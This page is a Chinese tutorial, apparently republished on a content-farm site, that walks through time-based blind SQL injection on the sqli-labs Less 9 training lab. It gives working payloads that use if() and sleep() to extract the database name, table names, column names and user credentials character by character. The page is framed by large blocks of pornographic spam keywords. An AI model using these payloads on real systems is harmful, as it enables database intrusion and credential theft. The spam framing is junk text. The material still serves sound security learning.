日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入学习——时间盲注详解 sqli-labs(Less 9)

發布時間:2024/9/30 数据库 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入学习——时间盲注详解 sqli-labs(Less 9) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

        • 前言:
        • 一、基礎知識
          • 1、時間盲注簡介:
          • 2、時間盲注常用的函數:
        • 二、Less9 基于時間的單引號盲注
          • 1、判斷數據庫名的長度:
          • 2、猜測數據庫:
          • 3、判斷表名的長度
          • 4、猜測 security 的數據表:
          • 5、猜測 users 表的列:
          • 6、猜測 username 的值:

前言:

今天來總結下時間盲注的知識。

一、基礎知識

1、時間盲注簡介:

時間盲注 和 Bool 盲注很像,區別就是 “參照物” 的不同,Bool 盲注是通過頁面的一些變化來進行判斷結果,但是有時候,執行一些 sql 語句的測試,頁面不會有像布爾盲注那樣直觀的變化,這個時候可以在布爾盲注的基礎上結合 if 判斷和 sleep() 函數來得到一個時間上的延遲參照,也就可以讓我們進行一些判斷。也就是所謂的 “時間盲注”,又叫“延時注入”。

2、時間盲注常用的函數:
if(expr1,expr2,expr3):判斷語句,如果第一個語句正確就執行第二個語句,如果錯誤執行第三個語句 sleep(n) 將程序掛起一段時間 n單位為秒 left(a,b) 從左側截取a的前b位 substr(a,b,c) 從b位置開始,截取字符串a的c長度 mid(a,b,c) 從位置b開始,截取a字符串的c位 length() 返回字符串的長度 Ascii() 將某個字符轉換為ascii值 char()ASCII碼轉換為對應的字符

直接來看題吧。

二、Less9 基于時間的單引號盲注


嘗試使用單引號、雙引號閉合、?id=1 and 1=2,都發現回顯正常,說明這關對所有信息都做了統一輸出。這時候就要使出最后的殺手锏了——延時注入,先判斷能否延時注入:

127.0.0.1/sqli-labs/less-9/?id=1' and sleep(5)--+

等待了好幾秒,說明sleep函數被執行了,即存在延時注入,并且閉合符號為單引號。

還是按照之前的方法繼續盲注:

測試的核心語句是:if(查詢語句,1,sleep(5)),即如果我們的查詢語句為真,那么直接返回結果;如果我們的查詢語句為假,那么過5秒之后返回頁面。所以我們就根據返回頁面的時間長短來判斷我們的查詢語句是否執行正確。

1、判斷數據庫名的長度:

語法:

?id=1' and if(leng(database())=x,1,sleep(5))--+

通過變換 x 的值來確定數據庫名的長度,得到數據庫名的長度為8。

2、猜測數據庫:

語法:

?id=1' and if(ascii(substr(database(),x,1))=y,1,sleep(5))--+

測試第一位:

?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

測得第一位是 s(ascii 碼是 115)

?id=1'and if(ascii(substr(database(),2,1))=101,1,sleep(5))--+

得到第二位是 e(ascii 碼是 101)… 以此類推,知道了數據庫名是 security。接下來猜解數據表。

首先要先判斷表的長度

3、判斷表名的長度

語法:

?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,1,sleep(5))--+

同理確定所有表名的長度。

4、猜測 security 的數據表:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+

猜得第一個數據表的第一位是 e,…依次類推,得到 emails

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,1,sleep(5))--+

得到第二個數據表的第一位是 r,…依次類推,得到 referers … 再以此類推,我們可以得到所有的數據表 emails,referers,uagents,users。

接下來判斷字段名與數據內容,還是和上面一樣的套路,判斷長度,判斷名字,后面就不再贅述了。

5、猜測 users 表的列:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜得 users 表的第一個列的第一個字符是 i, 以此類推,得到列名是 id,username,password

6、猜測 username 的值:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+

猜得 username 的第一行的第一位,以此類推,得到 username,password 字段的所有內容。

以上就是利用 sleep() 函數注入的整個過程。手工注入過程很是繁瑣,可以用二分法提高效率,但大部分情況下都會選擇寫腳本注入。

總結

以上是生活随笔為你收集整理的SQL注入学习——时间盲注详解 sqli-labs(Less 9)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 在线看www| 蜜臀人妻四季av一区二区不卡 | 亚洲第一大综合区 | 污污小说在线观看 | 婷婷丁香社区 | 久草免费福利视频 | 久久久久久久久久艹 | 色哟哟在线免费观看 | 亚洲午夜精品在线观看 | 国产亚洲综合av | 欧美少妇激情 | 亚洲精品国产精品乱码不99按摩 | 男人的天堂色偷偷 | a黄色大片| 国产精品交换 | 亚洲精品久久久久久久久久吃药 | 人妻熟妇又伦精品视频a | 超碰人人擦| av午夜激情 | 天堂а√在线最新版中文在线 | 99久久精品无免国产免费 | 超碰成人在线观看 | 亚洲免费影院 | 婷婷在线一区 | 电影《两个尼姑》免费播放 | 国产日韩久久久 | 99在线精品视频免费观看20 | а 天堂 在线 | 91久久精品日日躁夜夜躁欧美 | 动漫美女揉胸 | 欧美成人精品一区二区三区 | 最近最新中文字幕 | 最新视频 - 88av | 中国一区二区视频 | 最近高清中文在线字幕在线观看 | 亚洲情侣在线 | 一区二区三区四区高清视频 | 66av欧美| 精品国产乱子伦 | 国产精品日韩 | 狂躁美女大bbbbbb黑人 | 免费a级片在线观看 | 亚洲欧美日韩精品色xxx | 亚洲天堂精品在线 | 国产va亚洲va在线va | 色婷婷综合久久久久中文 | 亚洲午夜无码久久 | 无码一区二区波多野结衣播放搜索 | 国产精品欧美精品 | 天天拍天天色 | 超碰人人草人人干 | 无码人妻精品一区二区三区不卡 | 天堂va在线| 中日韩在线播放 | 日韩一区二区不卡 | 国产又粗又黄又爽视频 | 久久国产热 | 一级成人av | 激情五月婷婷小说 | 中文字幕日本视频 | 黄色大全免费观看 | 俺去俺来也在线www色官网 | 一级欧美黄色片 | 97精品在线视频 | 国产91丝袜在线18 | 亚洲成人伊人 | 日本一区电影 | 青青青手机视频 | 韩国日本中文字幕 | 国产1区二区 | 精品一区二区三区免费毛片 | 欧美淫| 玖玖精品国产 | 免费观看日韩av | 成人免费毛片免费 | 在线视频日韩精品 | 成人午夜视频免费在线观看 | 国产精品一二区在线观看 | 日韩av免费一区 | www.99色| 神宫寺奈绪一区二区三区 | 吊视频一区二区三区 | 国产日韩一区二区三免费高清 | 成人免费一区二区 | av不卡在线播放 | 日韩成人免费在线视频 | 一级爱爱片 | 人与动物黄色片 | 一级少妇精品久久久久久久 | 麻豆亚洲一区 | 少妇高清精品毛片在线视频 | 日韩a在线播放 | 国产中出视频 | 一级影片在线观看 | 激情av综合| 亚洲小说春色综合另类 | 国产中文字幕三区 | 69视频网站 | 99久久视频|